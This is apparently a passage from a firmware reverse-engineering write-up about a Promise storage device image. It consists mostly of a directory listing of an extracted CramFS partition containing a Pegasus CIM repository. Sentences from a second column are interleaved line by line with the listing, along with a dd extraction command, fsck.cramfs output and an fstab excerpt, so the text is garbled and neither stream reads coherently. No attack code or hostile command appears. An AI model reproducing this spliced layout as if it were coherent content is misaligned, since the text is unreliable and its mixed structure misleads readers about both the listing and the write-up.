| -rw-r--r-- 1 root root 2135 Jan 1 1970 CIM_ManagedSystemElement.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 902 Jan 1 1970 CIM_MemberOfCollection.#
| |
| -rw-r--r-- 1 root root 1090 Jan 1 1970 CIM_MethodParameters.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 1088 Jan 1 1970 CIM_OrderedMemberOfCollection.CIM_MemberOfCollection
| |
| -rw-r--r-- 1 root root 974 Jan 1 1970 CIM_ParametersForMethod.#
| |
| -rw-r--r-- 1 root root 726 Jan 1 1970 CIM_ParameterValueSources.#
| |
| -rw-r--r-- 1 root root 5932 Jan 1 1970 CIM_PhysicalElement.CIM_ManagedSystemElement
| |
| -rw-r--r-- 1 root root 1053 Jan 1 1970 CIM_PhysicalElementLocation.CIM_ElementLocation
| |
| -rw-r--r-- 1 root root 2021 Jan 1 1970 CIM_PhysicalStatisticalInformation.CIM_StatisticalInformation
| |
| -rw-r--r-- 1 root root 1210 Jan 1 1970 CIM_PhysicalStatistics.CIM_Statistics
| |
| -rw-r--r-- 1 root root 1782 Jan 1 1970 CIM_PowerManagementCapabilities.CIM_Capabilities
| |
| -rw-r--r-- 1 root root 7358 Jan 1 1970 CIM_PowerManagementService.CIM_Service
| |
| -rw-r--r-- 1 root root 1039 Jan 1 1970 CIM_ProcessIndication.CIM_Indication
| |
| -rw-r--r-- 1 root root 3420 Jan 1 1970 CIM_Product.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 1538 Jan 1 1970 CIM_ProductComponent.CIM_Component
| |
| -rw-r--r-- 1 root root 729 Jan 1 1970 CIM_ProductFRU.#
| |
| -rw-r--r-- 1 root root 986 Jan 1 1970 CIM_ProductParentChild.#
| |
| -rw-r--r-- 1 root root 1356 Jan 1 1970 CIM_ProductPhysicalComponent.CIM_Component
| |
| -rw-r--r-- 1 root root 1557 Jan 1 1970 CIM_ProductPhysicalElements.#
| |
| -rw-r--r-- 1 root root 834 Jan 1 1970 CIM_ProductProductDependency.#
| |
| -rw-r--r-- 1 root root 1329 Jan 1 1970 CIM_ProductServiceComponent.CIM_Component
| |
| -rw-r--r-- 1 root root 1357 Jan 1 1970 CIM_ProductSoftwareComponent.CIM_Component
| |
| -rw-r--r-- 1 root root 688 Jan 1 1970 CIM_ProductSupport.#
| |
| -rw-r--r-- 1 root root 745 Jan 1 1970 CIM_Profile.CIM_Collection
| |
| -rw-r--r-- 1 root root 7745 Jan 1 1970 CIM_ProtocolEndpoint.CIM_ServiceAccessPoint
| |
| -rw-r--r-- 1 root root 964 Jan 1 1970 CIM_ProvidesEndpoint.CIM_ServiceAccessBySAP
| |
| -rw-r--r-- 1 root root 1442 Jan 1 1970 CIM_ProvidesServiceToElement.CIM_Dependency
| |
| -rw-r--r-- 1 root root 953 Jan 1 1970 CIM_Realizes.CIM_Dependency
| |
| -rw-r--r-- 1 root root 1180 Jan 1 1970 CIM_RedundancyComponent.CIM_Component
| |
| -rw-r--r-- 1 root root 2648 Jan 1 1970 CIM_RedundancyGroup.CIM_LogicalElement
| |
| -rw-r--r-- 1 root root 823 Jan 1 1970 CIM_RelatedStatisticalData.#
| |
| -rw-r--r-- 1 root root 724 Jan 1 1970 CIM_RelatedStatistics.#
| |
| -rw-r--r-- 1 root root 7045 Jan 1 1970 CIM_RemotePort.CIM_RemoteServiceAccessPoint
| |
| -rw-r--r-- 1 root root 6304 Jan 1 1970 CIM_RemoteServiceAccessPoint.CIM_ServiceAccessPoint
| |
| -rw-r--r-- 1 root root 762 Jan 1 1970 CIM_ReplaceableProductFRU.#
| |
| -rw-r--r-- 1 root root 736 Jan 1 1970 CIM_SAPAvailableForElement.#
| |
| -rw-r--r-- 1 root root 969 Jan 1 1970 CIM_SAPSAPDependency.CIM_Dependency
| |
| -rw-r--r-- 1 root root 2811 Jan 1 1970 CIM_SAPStatisticalInformation.CIM_StatisticalInformation
| |
| -rw-r--r-- 1 root root 1203 Jan 1 1970 CIM_SAPStatistics.CIM_Statistics
| |
| -rw-r--r-- 1 root root 1101 Jan 1 1970 CIM_ScopedSetting.CIM_HostedDependency
| |
| -rw-r--r-- 1 root root 1071 Jan 1 1970 CIM_ScopedSettingData.CIM_SettingData
| |
| -rw-r--r-- 1 root root 960 Jan 1 1970 CIM_ServiceAccessBySAP.CIM_Dependency
| |
| -rw-r--r-- 1 root root 5545 Jan 1 1970 CIM_ServiceAccessPoint.CIM_EnabledLogicalElement
| |
| -rw-r--r-- 1 root root 5776 Jan 1 1970 CIM_ServiceAccessURI.CIM_ServiceAccessPoint
| |
| -rw-r--r-- 1 root root 1485 Jan 1 1970 CIM_ServiceAffectsElement.#
| |
| -rw-r--r-- 1 root root 736 Jan 1 1970 CIM_ServiceAvailableToElement.#
| |
| -rw-r--r-- 1 root root 6733 Jan 1 1970 CIM_Service.CIM_EnabledLogicalElement
| |
| -rw-r--r-- 1 root root 1156 Jan 1 1970 CIM_ServiceComponent.CIM_Component
| |
| -rw-r--r-- 1 root root 962 Jan 1 1970 CIM_ServiceSAPDependency.CIM_Dependency
| |
| -rw-r--r-- 1 root root 1508 Jan 1 1970 CIM_ServiceServiceDependency.CIM_ProvidesServiceToElement
| |
| -rw-r--r-- 1 root root 2799 Jan 1 1970 CIM_ServiceStatisticalInformation.CIM_StatisticalInformation
| |
| -rw-r--r-- 1 root root 1200 Jan 1 1970 CIM_ServiceStatistics.CIM_Statistics
| |
| -rw-r--r-- 1 root root 7336 Jan 1 1970 CIM_Setting.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 884 Jan 1 1970 CIM_SettingContext.#
| |
| -rw-r--r-- 1 root root 1032 Jan 1 1970 CIM_SettingData.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 1202 Jan 1 1970 CIM_SettingForSystem.CIM_HostedDependency
| |
| -rw-r--r-- 1 root root 3905 Jan 1 1970 CIM_SNMPTrapIndication.CIM_ProcessIndication
| |
| -rw-r--r-- 1 root root 4002 Jan 1 1970 CIM_SoftwareIdentity.CIM_LogicalElement
| |
| -rw-r--r-- 1 root root 3139 Jan 1 1970 CIM_SpareGroup.CIM_RedundancyGroup
| |
| -rw-r--r-- 1 root root 1599 Jan 1 1970 CIM_StatisticalData.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 849 Jan 1 1970 CIM_StatisticalInformation.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 1793 Jan 1 1970 CIM_StatisticalSetting.CIM_SettingData
| |
| -rw-r--r-- 1 root root 690 Jan 1 1970 CIM_Statistics.#
| |
| -rw-r--r-- 1 root root 15009 Jan 1 1970 CIM_StorageExtent.CIM_LogicalDevice
| |
| -rw-r--r-- 1 root root 3252 Jan 1 1970 CIM_StorageRedundancyGroup.CIM_RedundancyGroup
| |
| -rw-r--r-- 1 root root 1811 Jan 1 1970 CIM_SupportAccess.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 883 Jan 1 1970 CIM_Synchronized.#
| |
| -rw-r--r-- 1 root root 5826 Jan 1 1970 CIM_System.CIM_EnabledLogicalElement
| |
| -rw-r--r-- 1 root root 1167 Jan 1 1970 CIM_SystemComponent.CIM_Component
| |
| -rw-r--r-- 1 root root 1859 Jan 1 1970 CIM_SystemConfiguration.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 1506 Jan 1 1970 CIM_SystemDevice.CIM_SystemComponent
| |
| -rw-r--r-- 1 root root 953 Jan 1 1970 CIM_SystemPackaging.CIM_Dependency
| |
| -rw-r--r-- 1 root root 8672 Jan 1 1970 CIM_SystemSetting.CIM_Setting
| |
| -rw-r--r-- 1 root root 914 Jan 1 1970 CIM_SystemSettingContext.#
| |
| -rw-r--r-- 1 root root 779 Jan 1 1970 CIM_SystemSpecificCollection.CIM_Collection
| |
| -rw-r--r-- 1 root root 2001 Jan 1 1970 CIM_SystemStatisticalInformation.CIM_StatisticalInformation
| |
| -rw-r--r-- 1 root root 1197 Jan 1 1970 CIM_SystemStatistics.CIM_Statistics
| |
| -rw-r--r-- 1 root root 6604 Jan 1 1970 CIM_ThresholdIndication.CIM_AlertIndication
| |
| -rw-r--r-- 1 root root 1805 Jan 1 1970 PG_CapabilitiesRegistration.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 1991 Jan 1 1970 PG_ConsumerCapabilities.PG_CapabilitiesRegistration
| |
| -rw-r--r-- 1 root root 3890 Jan 1 1970 PG_IndicationHandlerSNMPMapper.CIM_IndicationHandler
| |
| -rw-r--r-- 1 root root 2644 Jan 1 1970 PG_ListenerDestinationEmail.CIM_ListenerDestination
| |
| -rw-r--r-- 1 root root 2145 Jan 1 1970 PG_ListenerDestinationSystemLog.CIM_ListenerDestination
| |
| -rw-r--r-- 1 root root 1200 Jan 1 1970 PG_ProviderCapabilitiesElements.CIM_Dependency
| |
| -rw-r--r-- 1 root root 2694 Jan 1 1970 PG_ProviderCapabilities.PG_CapabilitiesRegistration
| |
| -rw-r--r-- 1 root root 2599 Jan 1 1970 PG_Provider.CIM_LogicalElement
| |
| -rw-r--r-- 1 root root 3765 Jan 1 1970 PG_ProviderModule.CIM_LogicalElement
| |
| -rw-r--r-- 1 root root 1184 Jan 1 1970 PG_ProviderModuleElements.CIM_Dependency
| |
|
| |
|
| part3/pegasus/repository/root#PG_InterOp/instances:
| | === Fixing Part 3 === |
| total 531
| | Part 3 is a broken CramFS, and Part 4 is a bzip2 file that is not a bzip2 file... smells fishy. |
| -rw-r--r-- 1 root root 14417 Jan 1 1970 PG_ProviderCapabilities.idx
| | Let's say Part 3 is actually Part 3.1 and Part 4 is Part 3.2: |
| -rw-r--r-- 1 root root 265773 Jan 1 1970 PG_ProviderCapabilities.instances
| | <pre> |
| -rw-r--r-- 1 root root 10825 Jan 1 1970 PG_Provider.idx | | $ dd if=iv2p_all_20110303_16mb.img bs=1 skip=3456544 count=3231744 of=part3.cramfs |
| -rw-r--r-- 1 root root 246573 Jan 1 1970 PG_Provider.instances
| | $ fsck.cramfs -v part3.cramfs |
| -rw-r--r-- 1 root root 74 Jan 1 1970 PG_ProviderModule.idx
| | </pre> |
| -rw-r--r-- 1 root root 3843 Jan 1 1970 PG_ProviderModule.instances
| | <pre> |
| | cramfs endianness is little |
| | part3.cramfs: OK |
| | </pre> |
| | Bingo! |
|
| |
|
| part3/pegasus/repository/root#PG_InterOp/qualifiers:
| | === The Missing Link === |
| total 31
| | There are a lot of strings throughout the fimware that point at 4 MTD blocks which get mounted into the /islavista/conf, /islavista/fw, /islavista/sw and /oem directories. |
| -rw-r--r-- 1 root root 178 Jan 1 1970 Abstract
| |
| -rw-r--r-- 1 root root 147 Jan 1 1970 Aggregate
| |
| -rw-r--r-- 1 root root 151 Jan 1 1970 Aggregation
| |
| -rw-r--r-- 1 root root 151 Jan 1 1970 Alias
| |
| -rw-r--r-- 1 root root 160 Jan 1 1970 ArrayType
| |
| -rw-r--r-- 1 root root 151 Jan 1 1970 ASSOCIATION
| |
| -rw-r--r-- 1 root root 147 Jan 1 1970 BitMap
| |
| -rw-r--r-- 1 root root 170 Jan 1 1970 BitValues
| |
| -rw-r--r-- 1 root root 154 Jan 1 1970 CLASS
| |
| -rw-r--r-- 1 root root 151 Jan 1 1970 Composition
| |
| -rw-r--r-- 1 root root 155 Jan 1 1970 Counter
| |
| -rw-r--r-- 1 root root 143 Jan 1 1970 Delete
| |
| -rw-r--r-- 1 root root 237 Jan 1 1970 Deprecated
| |
| -rw-r--r-- 1 root root 224 Jan 1 1970 Description
| |
| -rw-r--r-- 1 root root 224 Jan 1 1970 DisplayName
| |
| -rw-r--r-- 1 root root 170 Jan 1 1970 DN
| |
| -rw-r--r-- 1 root root 182 Jan 1 1970 EmbeddedObject
| |
| -rw-r--r-- 1 root root 179 Jan 1 1970 Exception
| |
| -rw-r--r-- 1 root root 224 Jan 1 1970 Expensive
| |
| -rw-r--r-- 1 root root 246 Jan 1 1970 Experimental
| |
| -rw-r--r-- 1 root root 153 Jan 1 1970 Gauge
| |
| -rw-r--r-- 1 root root 146 Jan 1 1970 Ifdeleted
| |
| -rw-r--r-- 1 root root 139 Jan 1 1970 In
| |
| -rw-r--r-- 1 root root 162 Jan 1 1970 INDICATION
| |
| -rw-r--r-- 1 root root 189 Jan 1 1970 Invisible
| |
| -rw-r--r-- 1 root root 157 Jan 1 1970 Key
| |
| -rw-r--r-- 1 root root 135 Jan 1 1970 Large
| |
| -rw-r--r-- 1 root root 222 Jan 1 1970 MappingStrings
| |
| -rw-r--r-- 1 root root 99 Jan 1 1970 Max
| |
| -rw-r--r-- 1 root root 132 Jan 1 1970 MaxLen
| |
| -rw-r--r-- 1 root root 134 Jan 1 1970 MaxValue
| |
| -rw-r--r-- 1 root root 116 Jan 1 1970 Min
| |
| -rw-r--r-- 1 root root 149 Jan 1 1970 MinLen
| |
| -rw-r--r-- 1 root root 134 Jan 1 1970 MinValue
| |
| -rw-r--r-- 1 root root 227 Jan 1 1970 ModelCorrespondence
| |
| -rw-r--r-- 1 root root 104 Jan 1 1970 Nonlocal
| |
| -rw-r--r-- 1 root root 108 Jan 1 1970 NonlocalType
| |
| -rw-r--r-- 1 root root 124 Jan 1 1970 NullValue
| |
| -rw-r--r-- 1 root root 179 Jan 1 1970 Octetstring
| |
| -rw-r--r-- 1 root root 141 Jan 1 1970 Out
| |
| -rw-r--r-- 1 root root 154 Jan 1 1970 Override
| |
| -rw-r--r-- 1 root root 125 Jan 1 1970 Propagated
| |
| -rw-r--r-- 1 root root 138 Jan 1 1970 PropertyUsage
| |
| -rw-r--r-- 1 root root 201 Jan 1 1970 Provider
| |
| -rw-r--r-- 1 root root 120 Jan 1 1970 Read
| |
| -rw-r--r-- 1 root root 179 Jan 1 1970 Required
| |
| -rw-r--r-- 1 root root 157 Jan 1 1970 Revision
| |
| -rw-r--r-- 1 root root 135 Jan 1 1970 Source
| |
| -rw-r--r-- 1 root root 156 Jan 1 1970 SourceType
| |
| -rw-r--r-- 1 root root 157 Jan 1 1970 Static
| |
| -rw-r--r-- 1 root root 149 Jan 1 1970 Syntax
| |
| -rw-r--r-- 1 root root 153 Jan 1 1970 SyntaxType
| |
| -rw-r--r-- 1 root root 159 Jan 1 1970 Terminal
| |
| -rw-r--r-- 1 root root 187 Jan 1 1970 TriggerType
| |
| -rw-r--r-- 1 root root 151 Jan 1 1970 Units
| |
| -rw-r--r-- 1 root root 143 Jan 1 1970 UnknownValues
| |
| -rw-r--r-- 1 root root 147 Jan 1 1970 UnsupportedValues
| |
| -rw-r--r-- 1 root root 149 Jan 1 1970 ValueMap
| |
| -rw-r--r-- 1 root root 167 Jan 1 1970 Values
| |
| -rw-r--r-- 1 root root 175 Jan 1 1970 Version
| |
| -rw-r--r-- 1 root root 160 Jan 1 1970 Weak
| |
| -rw-r--r-- 1 root root 122 Jan 1 1970 Write
| |
|
| |
|
| part3/pegasus/repository/root#PromiseTech:
| | Finding the contents of those blocks that gets written to the flash is the interesting part... |
| total 14
| |
| drwxr-xr-x 1 root root 11352 Jan 1 1970 classes
| |
| drwxr-xr-x 1 root root 0 Jan 1 1970 instances
| |
| drwxr-xr-x 1 root root 1352 Jan 1 1970 qualifiers
| |
|
| |
|
| part3/pegasus/repository/root#PromiseTech/classes:
| | <pre> |
| total 1523
| | /dev/mtdblock5 /islavista/fw cramfs suid,dev,exec,auto,nouser,async,ro |
| -rw-r--r-- 1 root root 10468 Jan 1 1970 associations
| | /dev/mtdblock6 /islavista/sw cramfs suid,dev,exec,auto,nouser,async,ro |
| -rw-r--r-- 1 root root 13408 Jan 1 1970 CIM_AlarmDevice.CIM_LogicalDevice
| | /dev/mtdblock2 /islavista/conf jffs2 defaults |
| -rw-r--r-- 1 root root 5545 Jan 1 1970 CIM_AlertIndication.CIM_ProcessIndication
| | /dev/mtdblock7 /oem cramfs suid,dev,exec,auto,nouser,async,ro |
| -rw-r--r-- 1 root root 1454 Jan 1 1970 CIM_AllocatedFromStoragePool.CIM_Dependency
| | </pre> |
| -rw-r--r-- 1 root root 1204 Jan 1 1970 CIM_BasedOn.CIM_Dependency
| |
| -rw-r--r-- 1 root root 14895 Jan 1 1970 CIM_Battery.CIM_LogicalDevice
| |
| -rw-r--r-- 1 root root 964 Jan 1 1970 CIM_BindsTo.CIM_SAPSAPDependency
| |
| -rw-r--r-- 1 root root 4623 Jan 1 1970 CIM_BlockStorageStatisticalData.CIM_StatisticalData
| |
| -rw-r--r-- 1 root root 1133 Jan 1 1970 CIM_Capabilities.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 12594 Jan 1 1970 CIM_Chassis.CIM_PhysicalFrame
| |
| -rw-r--r-- 1 root root 674 Jan 1 1970 CIM_Collection.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 985 Jan 1 1970 CIM_Component.#
| |
| -rw-r--r-- 1 root root 1270 Jan 1 1970 CIM_ComponentCS.CIM_SystemComponent
| |
| -rw-r--r-- 1 root root 8750 Jan 1 1970 CIM_ComputerSystem.CIM_System
| |
| -rw-r--r-- 1 root root 1171 Jan 1 1970 CIM_ConcreteComponent.CIM_Component
| |
| -rw-r--r-- 1 root root 963 Jan 1 1970 CIM_ConcreteDependency.CIM_Dependency
| |
| -rw-r--r-- 1 root root 5812 Jan 1 1970 CIM_ConcreteJob.CIM_Job
| |
| -rw-r--r-- 1 root root 827 Jan 1 1970 CIM_Configuration.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 13097 Jan 1 1970 CIM_Controller.CIM_LogicalDevice
| |
| -rw-r--r-- 1 root root 14440 Jan 1 1970 CIM_ControllerConfigurationService.CIM_Service
| |
| -rw-r--r-- 1 root root 11830 Jan 1 1970 CIM_CoolingDevice.CIM_LogicalDevice
| |
| -rw-r--r-- 1 root root 784 Jan 1 1970 CIM_Dependency.#
| |
| -rw-r--r-- 1 root root 17154 Jan 1 1970 CIM_DiskDrive.CIM_MediaAccessDevice
| |
| -rw-r--r-- 1 root root 855 Jan 1 1970 CIM_ElementCapabilities.#
| |
| -rw-r--r-- 1 root root 903 Jan 1 1970 CIM_ElementSettingData.#
| |
| -rw-r--r-- 1 root root 860 Jan 1 1970 CIM_ElementStatisticalData.#
| |
| -rw-r--r-- 1 root root 4249 Jan 1 1970 CIM_EnabledLogicalElement.CIM_LogicalElement
| |
| -rw-r--r-- 1 root root 1403 Jan 1 1970 CIM_EndpointOfNetworkPipe.CIM_Dependency
| |
| -rw-r--r-- 1 root root 17285 Jan 1 1970 CIM_EthernetPort.CIM_NetworkPort
| |
| -rw-r--r-- 1 root root 2905 Jan 1 1970 CIM_ExtraCapacityGroup.CIM_RedundancyGroup
| |
| -rw-r--r-- 1 root root 12309 Jan 1 1970 CIM_Fan.CIM_CoolingDevice
| |
| -rw-r--r-- 1 root root 16116 Jan 1 1970 CIM_FCPort.CIM_NetworkPort
| |
| -rw-r--r-- 1 root root 13487 Jan 1 1970 CIM_FCPortStatistics.CIM_NetworkPortStatistics
| |
| -rw-r--r-- 1 root root 7015 Jan 1 1970 CIM_FibreProtocolService.CIM_Service
| |
| -rw-r--r-- 1 root root 2383 Jan 1 1970 CIM_FRU.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 1208 Jan 1 1970 CIM_HostedAccessPoint.CIM_HostedDependency
| |
| -rw-r--r-- 1 root root 1028 Jan 1 1970 CIM_HostedDependency.CIM_Dependency
| |
| -rw-r--r-- 1 root root 1193 Jan 1 1970 CIM_HostedService.CIM_HostedDependency
| |
| -rw-r--r-- 1 root root 1399 Jan 1 1970 CIM_HostedStoragePool.CIM_SystemComponent
| |
| -rw-r--r-- 1 root root 868 Jan 1 1970 CIM_Identity.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 949 Jan 1 1970 CIM_Indication.#
| |
| -rw-r--r-- 1 root root 732 Jan 1 1970 CIM_InstalledSoftwareIdentity.#
| |
| -rw-r--r-- 1 root root 6320 Jan 1 1970 CIM_iSCSIConnectionSettings.CIM_SettingData
| |
| -rw-r--r-- 1 root root 9974 Jan 1 1970 CIM_iSCSIProtocolEndpoint.CIM_SCSIProtocolEndpoint
| |
| -rw-r--r-- 1 root root 12062 Jan 1 1970 CIM_iSCSISession.CIM_NetworkPipe
| |
| -rw-r--r-- 1 root root 7679 Jan 1 1970 CIM_iSCSISessionSettings.CIM_SettingData
| |
| -rw-r--r-- 1 root root 3853 Jan 1 1970 CIM_iSCSISessionStatistics.CIM_StatisticalData
| |
| -rw-r--r-- 1 root root 1369 Jan 1 1970 CIM_IsSpare.CIM_Dependency
| |
| -rw-r--r-- 1 root root 5191 Jan 1 1970 CIM_Job.CIM_LogicalElement
| |
| -rw-r--r-- 1 root root 11409 Jan 1 1970 CIM_LogicalDevice.CIM_EnabledLogicalElement
| |
| -rw-r--r-- 1 root root 2225 Jan 1 1970 CIM_LogicalElement.CIM_ManagedSystemElement
| |
| -rw-r--r-- 1 root root 12597 Jan 1 1970 CIM_LogicalPort.CIM_LogicalDevice
| |
| -rw-r--r-- 1 root root 591 Jan 1 1970 CIM_ManagedElement.#
| |
| -rw-r--r-- 1 root root 2135 Jan 1 1970 CIM_ManagedSystemElement.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 16726 Jan 1 1970 CIM_MediaAccessDevice.CIM_LogicalDevice
| |
| -rw-r--r-- 1 root root 902 Jan 1 1970 CIM_MemberOfCollection.#
| |
| -rw-r--r-- 1 root root 21235 Jan 1 1970 CIM_Memory.CIM_StorageExtent
| |
| -rw-r--r-- 1 root root 5935 Jan 1 1970 CIM_NetworkPipe.CIM_EnabledLogicalElement
| |
| -rw-r--r-- 1 root root 15149 Jan 1 1970 CIM_NetworkPort.CIM_LogicalPort
| |
| -rw-r--r-- 1 root root 2886 Jan 1 1970 CIM_NetworkPortStatistics.CIM_StatisticalData
| |
| -rw-r--r-- 1 root root 16911 Jan 1 1970 CIM_NumericSensor.CIM_Sensor
| |
| -rw-r--r-- 1 root root 9470 Jan 1 1970 CIM_PhysicalConnector.CIM_PhysicalElement
| |
| -rw-r--r-- 1 root root 5932 Jan 1 1970 CIM_PhysicalElement.CIM_ManagedSystemElement
| |
| -rw-r--r-- 1 root root 9987 Jan 1 1970 CIM_PhysicalFrame.CIM_PhysicalPackage
| |
| -rw-r--r-- 1 root root 8030 Jan 1 1970 CIM_PhysicalPackage.CIM_PhysicalElement
| |
| -rw-r--r-- 1 root root 15234 Jan 1 1970 CIM_PowerSupply.CIM_LogicalDevice
| |
| -rw-r--r-- 1 root root 2157 Jan 1 1970 CIM_Privilege.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 1039 Jan 1 1970 CIM_ProcessIndication.CIM_Indication
| |
| -rw-r--r-- 1 root root 3420 Jan 1 1970 CIM_Product.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 11939 Jan 1 1970 CIM_ProtocolController.CIM_LogicalDevice
| |
| -rw-r--r-- 1 root root 1386 Jan 1 1970 CIM_ProtocolControllerForDevice.CIM_Dependency
| |
| -rw-r--r-- 1 root root 1558 Jan 1 1970 CIM_ProtocolControllerForUnit.CIM_ProtocolControllerForDevice
| |
| -rw-r--r-- 1 root root 7748 Jan 1 1970 CIM_ProtocolEndpoint.CIM_ServiceAccessPoint
| |
| -rw-r--r-- 1 root root 953 Jan 1 1970 CIM_Realizes.CIM_Dependency
| |
| -rw-r--r-- 1 root root 2648 Jan 1 1970 CIM_RedundancyGroup.CIM_LogicalElement
| |
| -rw-r--r-- 1 root root 3278 Jan 1 1970 CIM_RedundancySet.CIM_SystemSpecificCollection
| |
| -rw-r--r-- 1 root root 6304 Jan 1 1970 CIM_RemoteServiceAccessPoint.CIM_ServiceAccessPoint
| |
| -rw-r--r-- 1 root root 969 Jan 1 1970 CIM_SAPSAPDependency.CIM_Dependency
| |
| -rw-r--r-- 1 root root 14389 Jan 1 1970 CIM_SCSIController.CIM_Controller
| |
| -rw-r--r-- 1 root root 12666 Jan 1 1970 CIM_SCSIProtocolController.CIM_ProtocolController
| |
| -rw-r--r-- 1 root root 9323 Jan 1 1970 CIM_SCSIProtocolEndpoint.CIM_ProtocolEndpoint
| |
| -rw-r--r-- 1 root root 12865 Jan 1 1970 CIM_Sensor.CIM_LogicalDevice
| |
| -rw-r--r-- 1 root root 5545 Jan 1 1970 CIM_ServiceAccessPoint.CIM_EnabledLogicalElement
| |
| -rw-r--r-- 1 root root 6931 Jan 1 1970 CIM_Service.CIM_EnabledLogicalElement
| |
| -rw-r--r-- 1 root root 1035 Jan 1 1970 CIM_SettingData.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 3908 Jan 1 1970 CIM_SoftwareIdentity.CIM_LogicalElement
| |
| -rw-r--r-- 1 root root 1053 Jan 1 1970 CIM_Spared.CIM_Dependency
| |
| -rw-r--r-- 1 root root 13809 Jan 1 1970 CIM_SPIPort.CIM_LogicalPort
| |
| -rw-r--r-- 1 root root 1599 Jan 1 1970 CIM_StatisticalData.CIM_ManagedElement
| |
| -rw-r--r-- 1 root root 4065 Jan 1 1970 CIM_StorageCapabilities.CIM_Capabilities
| |
| -rw-r--r-- 1 root root 17401 Jan 1 1970 CIM_StorageConfigurationService.CIM_Service
| |
| -rw-r--r-- 1 root root 16712 Jan 1 1970 CIM_StorageExtent.CIM_LogicalDevice
| |
| -rw-r--r-- 1 root root 1727 Jan 1 1970 CIM_StorageHardwareID.CIM_Identity
| |
| -rw-r--r-- 1 root root 5622 Jan 1 1970 CIM_StoragePool.CIM_LogicalElement
| |
| -rw-r--r-- 1 root root 4073 Jan 1 1970 CIM_StorageRedundancySet.CIM_RedundancySet
| |
| -rw-r--r-- 1 root root 2908 Jan 1 1970 CIM_StorageSetting.CIM_SettingData
| |
| -rw-r--r-- 1 root root 4967 Jan 1 1970 CIM_StorageSettingWithHints.CIM_StorageSetting
| |
| -rw-r--r-- 1 root root 1392 Jan 1 1970 CIM_StorageSynchronized.CIM_Synchronized
| |
| -rw-r--r-- 1 root root 16815 Jan 1 1970 CIM_StorageVolume.CIM_StorageExtent
| |
| -rw-r--r-- 1 root root 883 Jan 1 1970 CIM_Synchronized.#
| |
| -rw-r--r-- 1 root root 5826 Jan 1 1970 CIM_System.CIM_EnabledLogicalElement
| |
| -rw-r--r-- 1 root root 1167 Jan 1 1970 CIM_SystemComponent.CIM_Component
| |
| -rw-r--r-- 1 root root 1506 Jan 1 1970 CIM_SystemDevice.CIM_SystemComponent
| |
| -rw-r--r-- 1 root root 779 Jan 1 1970 CIM_SystemSpecificCollection.CIM_Collection
| |
| -rw-r--r-- 1 root root 21376 Jan 1 1970 CIM_TemperatureSensor.CIM_NumericSensor
| |
| -rw-r--r-- 1 root root 21982 Jan 1 1970 CIM_VolatileStorage.CIM_Memory
| |
| -rw-r--r-- 1 root root 13701 Jan 1 1970 PIV_AlarmDevice.CIM_AlarmDevice
| |
| -rw-r--r-- 1 root root 1506 Jan 1 1970 PIV_AutomatedConfigurationSetting.CIM_SettingData
| |
| -rw-r--r-- 1 root root 22317 Jan 1 1970 PIV_BackgroundActivityService.CIM_Service
| |
| -rw-r--r-- 1 root root 1406 Jan 1 1970 PIV_BasedOn.CIM_BasedOn
| |
| -rw-r--r-- 1 root root 16633 Jan 1 1970 PIV_Battery.CIM_Battery
| |
| -rw-r--r-- 1 root root 6071 Jan 1 1970 PIV_BlockStorageStatisticalData.CIM_BlockStorageStatisticalData
| |
| -rw-r--r-- 1 root root 12182 Jan 1 1970 PIV_Blower.CIM_CoolingDevice
| |
| -rw-r--r-- 1 root root 1166 Jan 1 1970 PIV_Capabilities.CIM_Capabilities
| |
| -rw-r--r-- 1 root root 1436 Jan 1 1970 PIV_ComponentCS.CIM_ComponentCS
| |
| -rw-r--r-- 1 root root 17574 Jan 1 1970 PIV_ComponentStorageExtent.PIV_StorageExtent
| |
| -rw-r--r-- 1 root root 14755 Jan 1 1970 PIV_Controller.CIM_ComputerSystem
| |
| -rw-r--r-- 1 root root 1045 Jan 1 1970 PIV_ControllerElementStatisticalData.CIM_ElementStatisticalData
| |
| -rw-r--r-- 1 root root 3967 Jan 1 1970 PIV_ControllerSetting.CIM_SettingData
| |
| -rw-r--r-- 1 root root 6177 Jan 1 1970 PIV_ControllerStatisticalData.PIV_BlockStorageStatisticalData
| |
| -rw-r--r-- 1 root root 20262 Jan 1 1970 PIV_DiskDrive.CIM_DiskDrive
| |
| -rw-r--r-- 1 root root 1073 Jan 1 1970 PIV_DiskDriveSetting.CIM_SettingData
| |
| -rw-r--r-- 1 root root 16057 Jan 1 1970 PIV_Enclosure.CIM_Chassis
| |
| -rw-r--r-- 1 root root 1584 Jan 1 1970 PIV_EndpointOfNetworkPipe.CIM_EndpointOfNetworkPipe
| |
| -rw-r--r-- 1 root root 11825 Jan 1 1970 PIV_ESP.CIM_LogicalDevice
| |
| -rw-r--r-- 1 root root 18986 Jan 1 1970 PIV_EthernetPort.CIM_EthernetPort
| |
| -rw-r--r-- 1 root root 1865 Jan 1 1970 PIV_EthernetPortSettings.CIM_SettingData
| |
| -rw-r--r-- 1 root root 6607 Jan 1 1970 PIV_Event.CIM_AlertIndication
| |
| -rw-r--r-- 1 root root 12682 Jan 1 1970 PIV_Fan.CIM_Fan
| |
| -rw-r--r-- 1 root root 1283 Jan 1 1970 PIV_FCCapabilities.PIV_Capabilities
| |
| -rw-r--r-- 1 root root 18578 Jan 1 1970 PIV_FCPort.CIM_FCPort
| |
| -rw-r--r-- 1 root root 1041 Jan 1 1970 PIV_FCPortElementStatisticalData.CIM_ElementStatisticalData
| |
| -rw-r--r-- 1 root root 10649 Jan 1 1970 PIV_FCPortPhysicalConnector.CIM_PhysicalConnector
| |
| -rw-r--r-- 1 root root 14528 Jan 1 1970 PIV_FCPortStatistics.CIM_FCPortStatistics
| |
